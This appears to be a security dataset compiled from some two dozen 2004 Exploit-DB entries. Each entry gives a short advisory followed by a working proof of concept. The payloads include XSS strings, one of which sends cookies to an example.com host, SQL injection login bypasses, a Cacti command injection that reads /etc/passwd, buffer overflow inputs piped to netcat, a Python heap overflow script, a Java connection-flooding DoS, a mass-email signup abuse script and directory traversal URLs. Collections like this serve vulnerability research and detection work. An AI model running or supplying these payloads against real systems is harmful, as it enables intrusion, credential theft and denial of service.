QLWD/code_shield huggingface dataset:
标题: Sympa 4.x - New List HTML Injection EDB-ID: 24389 CVE: 2004-1735 类型: WEBAPPS 平台: PHP 发布日期: 2004-08-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/10992/info

An HTML injection vulnerability is reported in Sympa. The problem occurs due to a failure of the application to properly sanitize user-supplied input data.

Unsuspecting users viewing the affected page will have attacker-supplied malicious code interpreted by their browser in the security context of the website hosting Sympa.

Attackers may potentially exploit this issue to manipulate web content or to steal cookie-based authentication credentials. It may be possible to take arbitrary actions as the victim user.

Versions 4.1, and all 4.1.x releases are reported vulnerable to this issue. 

Whatever_you_want<script>alert("Your cookie is " + document.cookie)</script> URL: https://www.exploit-db.com/exploits/24389
标题: British National Corpus SARA - Remote Buffer Overflow EDB-ID: 24386 CVE: 2004-1728 类型: DOS 平台: MULTIPLE 发布日期: 2004-07-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/10984/info

sarad is reported prone to a buffer overflow vulnerability. This issue presents itself due to insufficient sanitization of user-supplied data.

A remote attacker can trigger the overflow condition by supplying a large string value to the application. Arbitrary code execution is possible in the context of the server.

In addition to this issue, it is reported that various other instances of potential buffer overflow and format string vulnerabilities exist throughout the application. These issues exist due to the use of strcpy() and sprintf functions. This BID will be updated upon further analysis.

perl -e 'print "SUCK" x 11; print chr foreach(0x90,0xdb,0x14,0x40,0);' | netcat victim 7000 URL: https://www.exploit-db.com/exploits/24386
标题: PHP-Fusion Database Backup - Information Disclosure EDB-ID: 24384 CVE: 2004-1724 类型: WEBAPPS 平台: PHP 发布日期: 2004-07-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/10974/info

It is reported that PHP-Fusion is susceptible to a database backup information disclosure vulnerability. An anonymous remote attacker may be able to download a complete database backup from the server. Authentication would not be required.

A remote attacker may exploit this vulnerability to download the full contents of the application database. The backup includes user information and password hashes. This information could then be used in further attacks against the application. Furthermore, since the database uses the MD5 hash of passwords for authentication, and the authentication cookie directly includes both the username and the MD5 password hash, an attacker would not need to bruteforce the retrieved password hashes.

Version 4.00 was reported vulnerable. Other versions are also likely affected.

Update:
This issue is being retired due to the fact that this is not a vulnerability in the application. Configuring the Web server to restrict access to sensitive files can prevent this problem.

http://www.example.com/fusion/fusion_admin/db_backups/backup_2004-08-17_1845.sql URL: https://www.exploit-db.com/exploits/24384
标题: aGSM 2.35 Half-Life Server - Info Response Buffer Overflow (PoC) EDB-ID: 24388 CVE: 2004-2277 类型: DOS 平台: MULTIPLE 发布日期: 2004-08-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/10989/info

aGSM is reported prone to a remote buffer overflow vulnerability. The issue presents itself in the aGSM server information parsing routines for Half-Life game servers. Due to a lack of sufficient bounds checking performed on the hostname parameter in a server reply to an info request, a malicious server may execute arbitrary code on an affected client.

It should be noted that although aGSM version 2.35c is reported prone to this vulnerability, other versions might also be affected.

For the following query:
\xFF\xFF\xFF\xFFinfo\x00
The following response is sent:
\xff\xff\xff\xffA\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA URL: https://www.exploit-db.com/exploits/24388
标题: Mantis Bug Tracker 0.x - New Account Signup Mass Emailing EDB-ID: 24392 CVE: 2004-1731 类型: WEBAPPS 平台: PHP 发布日期: 2004-08-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/10995/info

Mantis is reportedly susceptible to a vulnerability in its signup process allowing mass email attacks.

When a new user signs up to Mantis, the system automatically sends an email message to the given email address. This email contains the users new password for the affected Mantis bug tracking system.

Mantis fails to ensure that only one account exists with the specified email address, and therefor an attacker can create a massive amount of email, directed at any target they wish. This email will originate from the Mantis server, and not the attacker.

The vendor has implemented a captcha system for new account signup requests in the CVS version of the software. All currently released versions of the software are reported vulnerable. 

<?php

//Please, change it becuase is my e-mail :)
$email = "anyemail@address";
$base_user = "test";
$i = 0;
$site = "http://www.example.com";

for ($i=0;$i<=15;$i++)
{
echo("Sending e-mail number $i\n");
$user = "$base_user$i";
echo("New user is $user\n");
$url =
"http://$site/signup.php?username=$user&email=$email";
echo("URL is $url\n");
$fd = fopen($url,"r");
echo("E-mail $i sended\n");
fclose($fd);
}

?> URL: https://www.exploit-db.com/exploits/24392
标题: Merak Mail Server 7.4.5 - address.html Full Path Disclosure EDB-ID: 24381 CVE: 2004-1720 类型: WEBAPPS 平台: PHP 发布日期: 2004-07-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/10966/info
    
The webmail package embedded in Merak Mail Server is reported prone to multiple vulnerabilities.
    
The vulnerabilities reported are:
- Multiple cross-site scripting vulnerabilities
- An HTML injection vulnerability
- A PHP source code disclosure vulnerability
- An SQL injection vulnerability
    
These vulnerabilities are reported to exist in versions prior to 7.5.2.

/address.html?id= URL: https://www.exploit-db.com/exploits/24381
标题: Merak Mail Server 7.4.5 - 'attachment.html?attachmentpage_text_error' Cross-Site Scripting EDB-ID: 24379 CVE: 2004-1719 类型: WEBAPPS 平台: PHP 发布日期: 2004-07-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/10966/info
  
The webmail package embedded in Merak Mail Server is reported prone to multiple vulnerabilities.
  
The vulnerabilities reported are:
- Multiple cross-site scripting vulnerabilities
- An HTML injection vulnerability
- A PHP source code disclosure vulnerability
- An SQL injection vulnerability
  
These vulnerabilities are reported to exist in versions prior to 7.5.2.

/attachment.html?attachmentpage_text_error=">[XSS] URL: https://www.exploit-db.com/exploits/24379
标题: Merak Mail Server 7.4.5 - 'calendar.html?schedule' SQL Injection EDB-ID: 24382 CVE: 2004-1722 类型: WEBAPPS 平台: PHP 发布日期: 2004-07-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/10966/info
    
The webmail package embedded in Merak Mail Server is reported prone to multiple vulnerabilities.
    
The vulnerabilities reported are:
- Multiple cross-site scripting vulnerabilities
- An HTML injection vulnerability
- A PHP source code disclosure vulnerability
- An SQL injection vulnerability
    
These vulnerabilities are reported to exist in versions prior to 7.5.2.

/calendar.html?id=1'&schedule=[SQL] URL: https://www.exploit-db.com/exploits/24382
标题: Merak Mail Server 7.4.5 - 'settings.html' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 24378 CVE: 2004-1719 类型: WEBAPPS 平台: PHP 发布日期: 2004-07-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/10966/info
 
The webmail package embedded in Merak Mail Server is reported prone to multiple vulnerabilities.
 
The vulnerabilities reported are:
- Multiple cross-site scripting vulnerabilities
- An HTML injection vulnerability
- A PHP source code disclosure vulnerability
- An SQL injection vulnerability
 
These vulnerabilities are reported to exist in versions prior to 7.5.2.

/settings.html?autoresponder=1&id=[id]&spage=">[XSS]
/settings.html?autoresponder=">[XSS]&id=[id]&spage=0 URL: https://www.exploit-db.com/exploits/24378
标题: Merak Mail Server 7.4.5 - HTML Message Body Cross-Site Scripting EDB-ID: 24380 CVE: 2004-1719 类型: WEBAPPS 平台: PHP 发布日期: 2004-07-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/10966/info
   
The webmail package embedded in Merak Mail Server is reported prone to multiple vulnerabilities.
   
The vulnerabilities reported are:
- Multiple cross-site scripting vulnerabilities
- An HTML injection vulnerability
- A PHP source code disclosure vulnerability
- An SQL injection vulnerability
   
These vulnerabilities are reported to exist in versions prior to 7.5.2.

<IMG alt="" hspace=0 src="javascript:alert(document.cookie)" align=baseline border=0><IFRAME src="http://www.google.com"></body> </html> </IFRAME> URL: https://www.exploit-db.com/exploits/24380
标题: CuteNews 1.3.1 - 'show_archives.php' Cross-Site Scripting EDB-ID: 24372 CVE: 2004-0660 类型: WEBAPPS 平台: PHP 发布日期: 2004-07-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/10948/info

It is reported that CuteNews is affected by a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input.

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

This vulnerability is reported to exist in version 1.3.1 of CuteNews. Other versions may also be affected.

http://www.example.com/show_archives.php?archive=[code]&subaction=list-archive& URL: https://www.exploit-db.com/exploits/24372
标题: RaXnet Cacti 0.6.x/0.8.x - 'Auth_Login.php' SQL Injection EDB-ID: 24375 CVE: 2004-1737 类型: WEBAPPS 平台: PHP 发布日期: 2004-07-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/10960/info

RaXnet Cacti is reportedly affected by a remote SQL injection vulnerability. This issue occurs in the auth_login.php script due to a failure of the application to properly sanitize user-supplied "username" URI parameter input before using it in an SQL query.

It is demonstrated that an attacker may exploit this vulnerability in order to bypass the authentication interface used by Cacti.

username = admin' or '6'='6
password = password wished

insert into data_input_data_cache (local_data_id, host_id,
data_input_id, action, command, hostname, snmp_community,
snmp_version, snmp_username, snmp_password, snmp_port, snmp_timeout,
rrd_name, rrd_path, rrd_num, arg1, arg2, arg3)
values ('9', '1', '7', '1', 'cat /etc/passwd;id;somecommand; some
script', '127.0.0.1', '', '1', '', '', '161', '500',
'hack', '/', '3', 'NULL', 'NULL', 'NULL');

Then points to http://www.example.com/cacti/cmd.php and the command will be
executed. URL: https://www.exploit-db.com/exploits/24375
标题: Merak Mail Server 7.4.5 - 'address.html' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 24377 CVE: 2004-1719 类型: WEBAPPS 平台: PHP 发布日期: 2004-07-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/10966/info

The webmail package embedded in Merak Mail Server is reported prone to multiple vulnerabilities.

The vulnerabilities reported are:
- Multiple cross-site scripting vulnerabilities
- An HTML injection vulnerability
- A PHP source code disclosure vulnerability
- An SQL injection vulnerability

These vulnerabilities are reported to exist in versions prior to 7.5.2.

/address.html?id=[id]&sort=name&selectsort=&global=&showgroups=&showlite=&category="><script>alert()</script>&cserver=&ext=
/address.html?id=[id]&sort=name&selectsort=&global=&showgroups=&showlite=&category=&cserver=">[XSS]&ext=
/address.html?id=[id]&sort=name&selectsort=&global=&showgroups=&showlite=&category=&cserver=&ext=">[XSS]
/address.html?id=[id]&sort=&selectsort=&global=">[XSS]&showgroups=&showlite=&category=&cserver=&ext=
/address.html?id=[id]&sort=&selectsort=&global=&showgroups=">[XSS]&showlite=&category=&cserver=&ext=
/address.html?id=[id]&sort=&selectsort=&global=&showgroups=&showlite=">[XSS]&category=&cserver=&ext= URL: https://www.exploit-db.com/exploits/24377
标题: Internet Security Systems BlackICE PC Protection 3.6 - Firewall.INI Local Buffer Overrun EDB-ID: 24362 CVE: 2004-1714 类型: DOS 平台: WINDOWS 发布日期: 2004-08-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/10915/info

It is reported that BlackICE PC Protection is prone to a local buffer overrun when handling excessive input in certain configuration directives parsed from the firewall.ini file included with the software.

It is reported that when the system is restarted, and the affected software reads the malicious firewall.ini file both the blackice.exe and blackd.exe executables will crash.

REJECT, 138, default, 1999-07-22 20:26:53, AAAAAAAAAAAAAAAAA.... , 2000,
unknown

(Aprox 1000 A's) URL: https://www.exploit-db.com/exploits/24362
标题: GNU CFEngine 2.0.x/2.1 - AuthenticationDialogue Remote Heap Buffer Overrun (1) EDB-ID: 24360 CVE: 2004-1701 类型: DOS 平台: LINUX 发布日期: 2004-08-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/10899/info

GNU cfengine cfservd is reported prone to a remote heap-based buffer overrun vulnerability. The vulnerability presents itself in the cfengine cfservd AuthenticationDialogue() function.

The issue exists due to a lack of sufficient boundary checks performed on challenge data that is received from a client. 

Because the size of the buffer, the size of data copied in a memcpy() operation, and the data copied are all controlled by the attacker, a remote attacker may likely exploit this condition to corrupt in-line heap based memory management data. 

cfservd employs an IP based access control method. This access control must be bypassed prior to exploitation. This may hinder exploitation attempts.

This vulnerability is reported to affect versions 2.0.0 to 2.1.7p1 of cfengine cfservd.

import struct
import socket
import time

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.1.1',5308)

# CAUTH command
p = 'k' # status
p += '0000023' # len
p += 'CAUTH ' # command
p += 'HARE KRISHNA HARE'
print 'sending CAUTH command...'
s.send(p)
# SAUTH command
p = 'k' # status
p += '0003000' # len
p += 'SAUTH ' # command
p += 'n' # iscrypt
p += '00000010 ' # crypt_len
p += '00001000' # nonce_len
p += 'X' * 3000
print 'sending SAUTH command...'
s.send(p)

a = s.recv(4096)
print a URL: https://www.exploit-db.com/exploits/24360
标题: Acme thttpd 2.0.7 - Directory Traversal EDB-ID: 24350 CVE: 2004-2628 类型: REMOTE 平台: WINDOWS 发布日期: 2004-08-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/10862/info

It is reported that thttpd is susceptible to a directory traversal vulnerability. This issue presents itself due to insufficient sanitization of user-supplied data. This issue only exists in the Windows port of the application, as it does not correctly take into consideration the environmental attributes of file system access in applications.

This issue may allow an attacker to retrieve arbitrary, potentially sensitive files, from the affected host computer, as the user that the thttpd process is running as.

Version 2.07 beta 0.4 of thttpd, running on a Microsoft Windows platform is reported vulnerable to this issue.

http://www.example.com/%5c../test.ini
http://www.example.com/c:\test.ini URL: https://www.exploit-db.com/exploits/24350
标题: Free Web Chat Initial Release - Connection Saturation Denial of Service EDB-ID: 24352 CVE: 2004-2647 类型: DOS 平台: MULTIPLE 发布日期: 2004-08-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/10863/info
 
Free Web Chat server is reported prone to multiple denial of service vulnerabilities. The following issues are reported:
 
The first denial of service vulnerability reported results from a lack of sufficient sanitization performed on username data. It is reported that a user with a void name may be added. This action will result in a NullPointerException.
 
A remote attacker may exploit this vulnerability to deny service to legitimate users.
 
The second denial of service vulnerability is reported to exist due to resource consumption. It is reported that the Free Web Chat server does not properly manage multiple connections that originate from the same location.
 
A remote attacker may exploit this vulnerability to deny service to legitimate users.


/*
     Free Web Chat (Initial Release)- Resources Consumption - Proof Of Concept
     Coded by: Donato Ferrante
*/



import java.io.PrintStream;
import java.net.Socket;
import java.net.InetAddress;
import java.net.ConnectException;





public class FreeWebChat_ir_RC_poc {


final static String VERSION = "0.1";
final static int MAX_CONN = 20;



 
public static void main(String [] args){
 
 
   System.out.println(
                      "\n\nFree Web Chat - Resources Consumption - Proof Of Concept\n" +
                      "Version: " + VERSION + "\n\n"                 +
                      "coded by: Donato Ferrante\n"                  +
                      "e-mail:   fdonato@autistici.org\n"            +
                      "web:      www.autistici.org/fdonato\n\n"
                    );

   String host = "";
   int port = 0;

 if(args.length < 2){

  System.out.println("Usage: <host> <port>\n\n");
  System.exit(-1);

 }
 
 try{
  
  host = args[0];
  port = (new Integer(args[1])).intValue();
  
 }catch(Exception e){System.exit(-1);}
 
 
 try{

    int i = 0;
    while(i++ <= MAX_CONN){
   
   try{

          InetAddress addr = InetAddress.getByName(host);
          Socket socket = new Socket(addr, port);

          PrintStream printStream = new PrintStream(socket.getOutputStream());
          printStream.println("test");
          printStream.close();
    
    
   }catch(ConnectException ce){System.out.println(ce); System.exit(-1);}
  }
   
 }catch(Exception e){System.out.println(e); System.exit(-1);}
 
 
 System.out.println("\nFree_Web_Chat - Resources Consumption - Proof_Of_Concept terminated.\n\n");
 
 } 
 
 
} URL: https://www.exploit-db.com/exploits/24352
标题: Mozilla 1.x / Netscape 7.0/7.1 - SOAP Integer Overflow EDB-ID: 24346 CVE: 2004-0722 类型: DOS 平台: LINUX 发布日期: 2004-08-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/10843/info

It is reported that Mozilla and Netscape contain an integer overflow vulnerability in the SOAPParameter object constructor. This overflow may result in the corruption of critical heap memory structures, leading to possible remote code execution.

An attacker can exploit this issue by crafting a malicious web page and having unsuspecting users view the page in a vulnerable version of Mozilla or Netscape.

Netscape 7.0, 7.1, and versions of Mozilla prior to 1.7.1 are known to be vulnerable to this issue. Users of affected versions of Netscape are urged to switch to Mozilla 1.7.1 or later, as new versions of Netscape are not likely to appear.

var p=new Array(0x40000001);
var q=new SOAPParameter(p); URL: https://www.exploit-db.com/exploits/24346
标题: Webcam Corp Webcam Watchdog 4.0.1 - 'sresult.exe' Cross-Site Scripting EDB-ID: 24342 CVE: 2004-2528 类型: REMOTE 平台: CGI 发布日期: 2004-08-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/10837/info

Reportedly Webcam Corp Webcam Watchdog is affected by a remote cross-site scripting vulnerability in the sresult.exe binary. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in dynamically generated web content.

As a result of this vulnerability, it is possible for a remote attacker to create a malicious link containing script code that will be executed in the browser of a legitimate user. Specifically the attacker can pass malicious HTML code as a value for the affected URI parameter supplied to 'sresult.exe'. All code will be executed within the context of the website running the vulnerable software.

http://www.example.com/sresult.exe?cam=[code] URL: https://www.exploit-db.com/exploits/24342
标题: PowerPortal 1.1/1.3 - Private Message HTML Injection EDB-ID: 24340 CVE: 2004-2514 类型: WEBAPPS 平台: PHP 发布日期: 2004-07-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/10835/info

A vulnerability is reported for PowerPortal which may make it prone to HTML injection attacks. The problem is said to occur due to a lack of sufficient sanitization performed on private message data.

Specifically, when creating PowerPortal private messages, the subject field may not be sufficiently sanitized of malicious content. This may make it possible for an attacker to place HTML or script code within the subject field of a private PowerPortal message for another user.

Subject: <script>alert(document.cookie);</script>
Subject: <script>document.location='http://www.example.com/?'+document.cookie</script> URL: https://www.exploit-db.com/exploits/24340
标题: eNdonesia 8.3 - Search Form Cross-Site Scripting EDB-ID: 24348 CVE: 2004-2670 类型: WEBAPPS 平台: PHP 发布日期: 2004-08-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/10856/info

It is reported that eNdonesia is susceptible to a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in dynamically generated web content.

As a result of this vulnerability, it is possible for a remote attacker to create a malicious link containing script code that will be executed in the browser of a legitimate user. Specifically the attacker can pass malicious HTML code as a value for the affected URI parameter supplied to 'mod.php'. All code will be executed within the context of the website running the vulnerable software.

This may allow for theft of cookie-based authentication credentials and other attacks. 

Version 8.3 of the software is reported vulnerable. Other versions may also be affected.

http://www.example.com/mod.php?mod=publisher&op=search&query=%3Cscript%3Ealert(document.cookie)%3C/script%3E URL: https://www.exploit-db.com/exploits/24348
标题: Fusionphp Fusion News 3.3/3.6 - Administrator Command Execution EDB-ID: 24341 CVE: 2004-1703 类型: WEBAPPS 平台: PHP 发布日期: 2004-07-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/10836/info

It is reported that Fusion News is affected by an administrator command execution vulnerability. This issue is due to a failure of the application to properly validate access to administrative commands.

This issue permits a remote attacker to create a malicious URI link or embed a malicious URI between bbCode image tags, which includes hostile HTML and script code. If an unsuspecting forum administrator activates this URI, the attacker-supplied command would be carried out with the administrator's privileges. This occurs in the security context of the affected web site and would cause various administrator actions to be taken.

Version 3.6.1 and prior are reported to be affected by this vulnerability.

http://www.example.com/news/index.php?id=signup&username=example&email=user@example.com&password=password&icon=&le=3&timeoffset=1 URL: https://www.exploit-db.com/exploits/24341
标题: IBM Tivoli Directory Server 3.2.2/4.1 - LDACGI Directory Traversal EDB-ID: 24345 CVE: 2004-2526 类型: REMOTE 平台: WINDOWS 发布日期: 2004-08-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/10841/info

IBM Tivoli Directory Server is reported to contain a directory traversal vulnerability in its web front-end application.

This issue presents itself due to insufficient sanitization of user-supplied data.

This issue allows remote attackers to view potentially sensitive files on the server that are accessible to the 'ldap' user. This may aid an attacker in conducting further attacks against the vulnerable computer.

Versions 3.2.2, and 4.1 are reported vulnerable.

http://www.example.com/ldap/cgi-bin/ldacgi.exe?Action=Substitute&Template=../../../../../boot.ini&Sub=LocalePath&LocalePath=enus1252 URL: https://www.exploit-db.com/exploits/24345